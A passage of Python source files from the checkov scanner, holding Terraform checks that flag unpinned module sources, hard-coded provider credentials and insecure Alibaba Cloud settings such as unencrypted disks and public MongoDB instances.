RevisionHash(BaseModuleCheck): def __init__(self) -> None: name = "Ensure Terraform module sources use a commit hash" id = "CKV_TF_1" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__(name=name, id=id, categories=categories) def scan_module_conf(self, conf: dict[str, list[Any]]) -> CheckResult: source = conf.get("source") if source and isinstance(source, list): source_url = source[0] if source_url.startswith(("./", "../")): # local modules can't be pinned to a commit hash return CheckResult.UNKNOWN if "?ref" in source_url and re.search(COMMIT_ID_PATTERN, source_url): # do first a quick lookup, if '?ref' exists in the string before actually searching for the commit hash return CheckResult.PASSED return CheckResult.FAILED check = RevisionHash() ================================================ FILE: checkov/terraform/checks/module/generic/RevisionVersionTag.py ================================================ from __future__ import annotations import re from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.module.base_module_check import BaseModuleCheck from .RevisionHash import check as RevisionHashCheck VERSION_PATTERN = re.compile(r"[?&](ref=).*(\d\.\d).*") class RevisionVersionTag(BaseModuleCheck): def __init__(self) -> None: name = "Ensure Terraform module sources use a tag with a version number" id = "CKV_TF_2" categories = [CheckCategories.SUPPLY_CHAIN] super().__init__(name=name, id=id, categories=categories) def scan_module_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # this check is a more lenient version of the hash check, so if that one passes (or is unknown due to a local module), # then we are done hash_result = RevisionHashCheck.scan_module_conf(conf) if hash_result != CheckResult.FAILED: return hash_result source = conf.get("source") if source and isinstance(source, list): source_url = source[0] if BaseModuleCheck.is_git_source(source_url): if ("?ref" in source_url or "&ref" in source_url) and re.search(VERSION_PATTERN, source_url): return CheckResult.PASSED else: version = conf.get("version") if source and isinstance(version, list): return CheckResult.PASSED return CheckResult.FAILED check = RevisionVersionTag() ================================================ FILE: checkov/terraform/checks/module/generic/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/module/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.terraform.checks.module.base_registry import Registry module_registry = Registry(CheckType.TERRAFORM) ================================================ FILE: checkov/terraform/checks/provider/__init__.py ================================================ from checkov.terraform.checks.provider.aws import * # noqa from checkov.terraform.checks.provider.linode import * # noqa from checkov.terraform.checks.provider.bridgecrew import * # noqa from checkov.terraform.checks.provider.oci import * # noqa from checkov.terraform.checks.provider.openstack import * # noqa from checkov.terraform.checks.provider.panos import * # noqa ================================================ FILE: checkov/terraform/checks/provider/aws/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/provider/aws/credentials.py ================================================ import re from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.provider.base_check import BaseProviderCheck from checkov.common.models.consts import access_key_pattern, secret_key_pattern class AWSCredentials(BaseProviderCheck): def __init__(self) -> None: name = "Ensure no hard coded AWS access key and secret key exists in provider" id = "CKV_AWS_41" supported_provider = ["aws"] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ see: https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration """ result = CheckResult.PASSED if self.secret_found(conf, "access_key", access_key_pattern): result = CheckResult.FAILED if self.secret_found(conf, "secret_key", secret_key_pattern): result = CheckResult.FAILED return result def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: str) -> bool: if field in conf.keys(): value = conf[field][0] if isinstance(value, str) and re.match(pattern, value) is not None: conf[f'{self.id}_secret_{field}'] = value return True return False check = AWSCredentials() ================================================ FILE: checkov/terraform/checks/provider/base_check.py ================================================ from abc import abstractmethod from collections.abc import Iterable from typing import List, Dict, Any, Optional from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.provider.registry import provider_registry class BaseProviderCheck(BaseCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_provider: "Iterable[str]", guideline: Optional[str] = None ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_provider, block_type="provider", guideline=guideline, ) self.supported_provider = supported_provider provider_registry.register(self) def scan_entity_conf(self, conf: Dict[str, List[Any]], entity_type: str) -> CheckResult: return self.scan_provider_conf(conf) @abstractmethod def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: raise NotImplementedError() ================================================ FILE: checkov/terraform/checks/provider/base_registry.py ================================================ from typing import Dict, Any, Tuple from checkov.common.checks.base_check_registry import BaseCheckRegistry class Registry(BaseCheckRegistry): def extract_entity_details(self, entity: Dict[str, Any]) -> Tuple[str, str, Dict[str, Any]]: provider_type = list(entity.keys())[0] provider_name = list(entity.keys())[0] provider_configuration = entity[provider_name] return provider_type, provider_name, provider_configuration ================================================ FILE: checkov/terraform/checks/provider/bridgecrew/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/provider/bridgecrew/credentials.py ================================================ import re from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.provider.base_check import BaseProviderCheck from checkov.common.models.consts import bridgecrew_token_pattern class BridgecrewCredentials(BaseProviderCheck): def __init__(self) -> None: name = "Ensure no hard coded API token exist in the provider" id = "CKV_BCW_1" supported_provider = ("bridgecrew",) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if self.secret_found(conf, "token", bridgecrew_token_pattern): return CheckResult.FAILED return CheckResult.PASSED def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: str) -> bool: if field in conf.keys(): value = conf[field][0] if re.match(pattern, value) is not None: conf[f'{self.id}_secret'] = value return True return False check = BridgecrewCredentials() ================================================ FILE: checkov/terraform/checks/provider/linode/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/provider/linode/credentials.py ================================================ import re from typing import Dict, List, Any, Pattern from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.provider.base_check import BaseProviderCheck from checkov.common.models.consts import linode_token_pattern class LinodeCredentials(BaseProviderCheck): def __init__(self) -> None: name = "Ensure no hard coded Linode tokens exist in provider" id = "CKV_LIN_1" supported_provider = ("linode",) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if self.secret_found(conf, "token", linode_token_pattern): return CheckResult.FAILED return CheckResult.PASSED def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: Pattern[str]) -> bool: if field in conf.keys(): value = conf[field][0] if re.match(pattern, value) is not None: conf[f'{self.id}_secret'] = value return True return False check = LinodeCredentials() ================================================ FILE: checkov/terraform/checks/provider/ncp/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/provider/ncp/credentials.py ================================================ import re from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.provider.base_check import BaseProviderCheck from checkov.common.models.consts import access_key_pattern, secret_key_pattern class NCPCredentials(BaseProviderCheck): def __init__(self) -> None: name = "Ensure no hard coded NCP access key and secret key exists in provider" id = "CKV_NCP_17" supported_provider = ("ncloud",) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ see: https://registry.terraform.io/providers/NaverCloudPlatform/ncloud/latest/docs """ result = CheckResult.PASSED if self.secret_found(conf, "access_key", access_key_pattern): result = CheckResult.FAILED if self.secret_found(conf, "secret_key", secret_key_pattern): result = CheckResult.FAILED return result def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: str) -> bool: if field in conf.keys(): value = conf[field][0] if isinstance(value, str) and re.match(pattern, value) is not None: conf[f'{self.id}_secret_{field}'] = value return True return False check = NCPCredentials() ================================================ FILE: checkov/terraform/checks/provider/oci/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/provider/oci/credentials.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.provider.base_check import BaseProviderCheck class OciCredentials(BaseProviderCheck): def __init__(self) -> None: name = "Ensure no hard coded OCI private key in provider" id = "CKV_OCI_1" supported_provider = ["oci"] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: key = "private_key_password" if key in conf.keys(): secret = conf[key] if not secret: return CheckResult.PASSED conf[f'{self.id}_secret'] = secret return CheckResult.FAILED else: return CheckResult.PASSED check = OciCredentials() ================================================ FILE: checkov/terraform/checks/provider/openstack/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/provider/openstack/credentials.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.provider.base_check import BaseProviderCheck class OpenstackCredentials(BaseProviderCheck): def __init__(self) -> None: name = "Ensure no hard coded OpenStack password, token, or application_credential_secret exists in provider" id = "CKV_OPENSTACK_1" supported_provider = ["openstack"] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ see: https://registry.terraform.io/providers/terraform-provider-openstack/openstack/latest/docs#configuration-reference """ result = CheckResult.PASSED if conf.get("password"): conf[f'{self.id}_secret_1'] = conf.get('password')[0] result = CheckResult.FAILED if conf.get("token"): conf[f'{self.id}_secret_2'] = conf.get('token')[0] result = CheckResult.FAILED if conf.get("application_credential_secret"): conf[f'{self.id}_secret_3'] = conf.get('application_credential_secret')[0] result = CheckResult.FAILED return result check = OpenstackCredentials() ================================================ FILE: checkov/terraform/checks/provider/panos/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/provider/panos/credentials.py ================================================ import re from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.provider.base_check import BaseProviderCheck from checkov.common.models.consts import panos_api_key_pattern class PanosCredentials(BaseProviderCheck): def __init__(self) -> None: name = "Ensure no hard coded PAN-OS credentials exist in provider" id = "CKV_PAN_1" supported_provider = ["panos"] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: result = CheckResult.PASSED if self.secret_found(conf, "api_key", panos_api_key_pattern): result = CheckResult.FAILED password = conf.get("password") if password: conf[f'{self.id}_secret_pwd'] = password result = CheckResult.FAILED return result def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: str) -> bool: if field in conf.keys(): value = conf[field][0] if not isinstance(value, str) or re.match(pattern, value) is not None: if isinstance(value, str): conf[f'{self.id}_secret'] = value return True return False check = PanosCredentials() ================================================ FILE: checkov/terraform/checks/provider/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.terraform.checks.provider.base_registry import Registry provider_registry = Registry(CheckType.TERRAFORM) ================================================ FILE: checkov/terraform/checks/resource/__init__.py ================================================ from checkov.terraform.checks.resource.aws import * # noqa from checkov.terraform.checks.resource.gcp import * # noqa from checkov.terraform.checks.resource.azure import * # noqa from checkov.terraform.checks.resource.github import * # noqa from checkov.terraform.checks.resource.gitlab import * # noqa from checkov.terraform.checks.resource.linode import * # noqa from checkov.terraform.checks.resource.oci import * # noqa from checkov.terraform.checks.resource.openstack import * # noqa from checkov.terraform.checks.resource.panos import * # noqa from checkov.terraform.checks.resource.digitalocean import * # noqa from checkov.terraform.checks.resource.alicloud import * # noqa from checkov.terraform.checks.resource.kubernetes import * # noqa from checkov.terraform.checks.resource.yandexcloud import * # noqa from checkov.terraform.checks.resource.ncp import * # noqa from checkov.terraform.checks.resource.tencentcloud import * # noqa ================================================ FILE: checkov/terraform/checks/resource/alicloud/ALBACLIsUnrestricted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ALBACLIsUnrestricted(BaseResourceNegativeValueCheck): def __init__(self): name = "Alibaba ALB ACL does not restrict Access" id = "CKV_ALI_29" supported_resources = ['alicloud_alb_acl_entry_attachment'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'entry' def get_forbidden_values(self): return ["0.0.0.0/0"] check = ALBACLIsUnrestricted() ================================================ FILE: checkov/terraform/checks/resource/alicloud/APIGatewayProtocolHTTPS.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class APIGatewayProtocolHTTPS(BaseResourceCheck): def __init__(self): name = "Ensure API Gateway API Protocol HTTPS" id = "CKV_ALI_21" supported_resources = ['alicloud_api_gateway_api'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("request_config") and isinstance(conf.get("request_config"), list): configs = conf.get("request_config") for idx, config in enumerate(configs): if config.get("protocol") != ["HTTPS"]: self.evaluated_keys = [f"request_config/[{idx}]/protocol"] return CheckResult.FAILED return CheckResult.PASSED self.evaluated_keys = [""] return CheckResult.FAILED check = APIGatewayProtocolHTTPS() ================================================ FILE: checkov/terraform/checks/resource/alicloud/AbsRDSParameter.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AbsRDSParameter(BaseResourceCheck): def __init__(self, check_id, parameter): name = f"Ensure RDS instance has {parameter} enabled" supported_resources = ['alicloud_db_instance'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.parameter = parameter def scan_resource_conf(self, conf): """ Looks at configuration of RDS logging parameters : :param conf: alicloud_db_instance configuration :return: """ params = conf.get("parameters") if params and isinstance(params, list): for param in params: if not isinstance(param, dict): return CheckResult.UNKNOWN if param['name'][0] == self.parameter and (param['value'][0]).lower() == 'on': return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self): return ["parameters"] ================================================ FILE: checkov/terraform/checks/resource/alicloud/AbsSecurityGroupUnrestrictedIngress.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list from checkov.common.util.type_forcers import force_int class AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck): def __init__(self, check_id, port): name = "Ensure no security groups allow ingress from 0.0.0.0:0 to port %d" % port supported_resources = ['alicloud_security_group_rule'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def scan_resource_conf(self, conf): """ Looks for configuration at security group ingress rules : https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/security_group_rule Return PASS if: - The resource is an alicloud_security_group_rule of type 'ingress' that does not violate the check. Return FAIL if: - The resource is an alicloud_security_group_rule of type 'ingress' that violates the check. Return UNKNOWN if: - the resource is an alicloud_security_group_rule of type 'egress' :param conf: alicloud_security_group_rule configuration :return: """ if 'type' not in conf: # This means it's not an alicloud_security_group_rule resource. return CheckResult.PASSED rule_type = force_list(conf['type'])[0] if rule_type != 'ingress': return CheckResult.UNKNOWN self.evaluated_keys = ['port_range', 'cidr_ip'] if not conf.get('port_range'): return CheckResult.PASSED if self.contains_violation(conf): return CheckResult.FAILED return CheckResult.PASSED def contains_violation(self, conf): try: from_port = force_int(force_list(conf.get('port_range', [{-1}]))[0].split('/')[0]) to_port = force_int(force_list(conf.get('port_range', [{-1}]))[0].split('/')[1]) except Exception: return False if from_port and to_port and from_port <= self.port <= to_port: conf_cidr_blocks = conf.get('cidr_ip', [[]]) cidr_blocks = force_list(conf_cidr_blocks) if "0.0.0.0/0" in cidr_blocks or not cidr_blocks[0]: return True return False ================================================ FILE: checkov/terraform/checks/resource/alicloud/ActionTrailLogAllEvents.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class ActionTrailLogAllEvents(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Action Trail Logging for all events" id = "CKV_ALI_5" supported_resources = ("alicloud_actiontrail_trail",) categories = (CheckCategories.LOGGING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: return "event_rw" def get_expected_value(self) -> Any: return "All" check = ActionTrailLogAllEvents() ================================================ FILE: checkov/terraform/checks/resource/alicloud/ActionTrailLogAllRegions.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class ActionTrailLogAllRegions(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Action Trail Logging for all regions" id = "CKV_ALI_4" supported_resources = ("alicloud_actiontrail_trail",) categories = (CheckCategories.LOGGING,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED, ) def get_inspected_key(self) -> str: return "trail_region" def get_expected_value(self) -> Any: return "All" check = ActionTrailLogAllRegions() ================================================ FILE: checkov/terraform/checks/resource/alicloud/DiskEncryptedWithCMK.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DiskEncryptedWithCMK(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Disk is encrypted with Customer Master Key" id = "CKV_ALI_8" supported_resources = ("alicloud_disk",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if conf.get("snapshot_id"): return CheckResult.UNKNOWN encrypted = conf.get("encrypted") if encrypted and encrypted == [True]: if conf.get("kms_key_id"): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["encrypted"] check = DiskEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/alicloud/DiskIsEncrypted.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class DiskIsEncrypted(BaseResourceCheck): def __init__(self) -> None: name = "Ensure disk is encrypted" id = "CKV_ALI_7" supported_resources = ['alicloud_disk'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("snapshot_id"): return CheckResult.UNKNOWN if conf.get("encrypted") and conf.get("encrypted") == [True]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['encrypted'] check = DiskIsEncrypted() ================================================ FILE: checkov/terraform/checks/resource/alicloud/K8sEnableNetworkPolicies.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class K8sEnableNetworkPolicies(BaseResourceCheck): def __init__(self): """ Kubernetes Cluster should have Terway or Flannel as CNI Network Plugin as it allows you to use standard Kubernetes network policies https://www.alibabacloud.com/help/en/container-service-for-kubernetes/latest/work-with-terway https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/cs_kubernetes#cluster_network_type The vswitches for the pod network when using Terway.Be careful the pod_vswitch_ids can not equal to worker_vswitch_ids or master_vswitch_ids but must be in same availability zones. Flannel requires pod_cidr. """ name = "Ensure Kubernetes installs plugin Terway or Flannel to support standard policies" id = "CKV_ALI_26" supported_resources = ['alicloud_cs_kubernetes'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # required fields if not (conf.get("pod_vswitch_ids") or conf.get("pod_cidr")): return CheckResult.FAILED # addons if conf.get("addons") and isinstance(conf.get("addons"), list): names = [ addon["name"][0] for addon in conf["addons"] if addon.get("name") ] if "terway-eniip" in names: if conf.get("pod_vswitch_ids") and isinstance(conf.get("pod_vswitch_ids"), list): net_ids = conf.get("pod_vswitch_ids")[0] if isinstance(conf.get("worker_vswitch_ids"), list) \ and isinstance(conf.get("master_vswitch_ids"), list): if any(net_id in net_ids for net_id in conf.get("worker_vswitch_ids")[0]): self.evaluated_keys = ["worker_vswitch_ids"] return CheckResult.FAILED if any(net_id in net_ids for net_id in conf.get("master_vswitch_ids")[0]): self.evaluated_keys = ["master_vswitch_ids"] return CheckResult.FAILED return CheckResult.PASSED self.evaluated_keys = ["pod_vswitch_ids"] return CheckResult.FAILED if "flannel" in names: if conf.get("pod_cidr"): return CheckResult.PASSED self.evaluated_keys = ["addons/[0]/config"] return CheckResult.FAILED else: self.evaluated_keys = ["addons"] return CheckResult.FAILED check = K8sEnableNetworkPolicies() ================================================ FILE: checkov/terraform/checks/resource/alicloud/K8sNodePoolAutoRepair.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class K8sNodePoolAutoRepair(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure K8s nodepools are set to auto repair" id = "CKV_ALI_31" supported_resources = ("alicloud_cs_kubernetes_node_pool",) categories = (CheckCategories.KUBERNETES,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED, ) def get_inspected_key(self) -> str: return "management/auto_repair" check = K8sNodePoolAutoRepair() ================================================ FILE: checkov/terraform/checks/resource/alicloud/KMSKeyIsEnabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class KMSKeyIsEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure KMS Keys are enabled" id = "CKV_ALI_28" supported_resources = ['alicloud_kms_key'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "status" def get_expected_value(self) -> Any: return "Enabled" check = KMSKeyIsEnabled() ================================================ FILE: checkov/terraform/checks/resource/alicloud/KMSKeyRotationIsEnabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class KMSKeyRotationIsEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure KMS Key Rotation is enabled" id = "CKV_ALI_27" supported_resources = ['alicloud_kms_key'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "automatic_rotation" def get_expected_value(self) -> Any: return "Enabled" check = KMSKeyRotationIsEnabled() ================================================ FILE: checkov/terraform/checks/resource/alicloud/LaunchTemplateDisksAreEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class LaunchTemplateDisksAreEncrypted(BaseResourceCheck): def __init__(self): name = "Ensure launch template data disks are encrypted" id = "CKV_ALI_32" supported_resources = ['alicloud_ecs_launch_template'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): data_disks = conf.get("data_disks") if data_disks and isinstance(data_disks, list): for idx, disk in enumerate(data_disks): if disk.get('encrypted') != [True]: self.evaluated_keys = [f'data_disks/[{idx}]/encrypted'] return CheckResult.FAILED return CheckResult.PASSED check = LaunchTemplateDisksAreEncrypted() ================================================ FILE: checkov/terraform/checks/resource/alicloud/LogAuditRDSEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class LogAuditRDSEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure log audit is enabled for RDS" id = "CKV_ALI_38" supported_resources = ("alicloud_log_audit",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "variable_map/[0]/rds_enabled" check = LogAuditRDSEnabled() ================================================ FILE: checkov/terraform/checks/resource/alicloud/MongoDBInsideVPC.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class MongoDBInsideVPC(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MongoDB is deployed inside a VPC" id = "CKV_ALI_41" supported_resources = ("alicloud_mongodb_instance",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "network_type" def get_expected_value(self) -> Any: return "VPC" check = MongoDBInsideVPC() ================================================ FILE: checkov/terraform/checks/resource/alicloud/MongoDBInstanceSSL.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import List, Any class MongoDBInstanceSSL(BaseResourceValueCheck): def __init__(self): name = "Ensure Mongodb instance uses SSL" id = "CKV_ALI_42" supported_resources = ['alicloud_mongodb_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'ssl_action' def get_expected_values(self) -> List[Any]: return ["Open", "Update"] check = MongoDBInstanceSSL() ================================================ FILE: checkov/terraform/checks/resource/alicloud/MongoDBIsPublic.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class MongoDBIsPublic(BaseResourceCheck): def __init__(self): name = "Ensure MongoDB instance is not public" id = "CKV_ALI_43" supported_resources = ['alicloud_mongodb_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): security_ip_list = conf.get("security_ip_list") if security_ip_list and isinstance(security_ip_list, list): addresses = security_ip_list[0] if "0.0.0.0" in addresses or "0.0.0.0/0" in addresses: # nosec B104 self.evaluated_keys = ['security_ip_list'] return CheckResult.FAILED return CheckResult.PASSED check = MongoDBIsPublic() ================================================ FILE: checkov/terraform/checks/resource/alicloud/MongoDBTransparentDataEncryptionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any class MongoDBTransparentDataEncryptionEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure MongoDB has Transparent Data Encryption Enabled" id = "CKV_ALI_44" supported_resources = ("alicloud_mongodb_instance",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "tde_status" def get_expected_value(self) -> Any: return "enabled" check = MongoDBTransparentDataEncryptionEnabled() ================================================ FILE: checkov/terraform/checks/resource/alicloud/OSSBucketAccessLogs.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class OSSBucketAccessLogs(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure the OSS bucket has access logging enabled" id = "CKV_ALI_12" supported_resources = ("alicloud_oss_bucket",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "logging" def get_expected_value(self) -> Any: return ANY_VALUE check = OSSBucketAccessLogs() ================================================ FILE: checkov/terraform/checks/resource/alicloud/OSSBucketEncryptedWithCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class OSSBucketEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure OSS bucket is encrypted with Customer Master Key" id = "CKV_ALI_6" supported_resources = ['alicloud_oss_bucket'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'server_side_encryption_rule/[0]/kms_master_key_id' def get_expected_value(self): return ANY_VALUE check = OSSBucketEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/alicloud/OSSBucketTransferAcceleration.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class OSSBucketTransferAcceleration(BaseResourceValueCheck): def __init__(self): name = "Ensure OSS bucket has transfer Acceleration enabled" id = "CKV_ALI_11" supported_resources 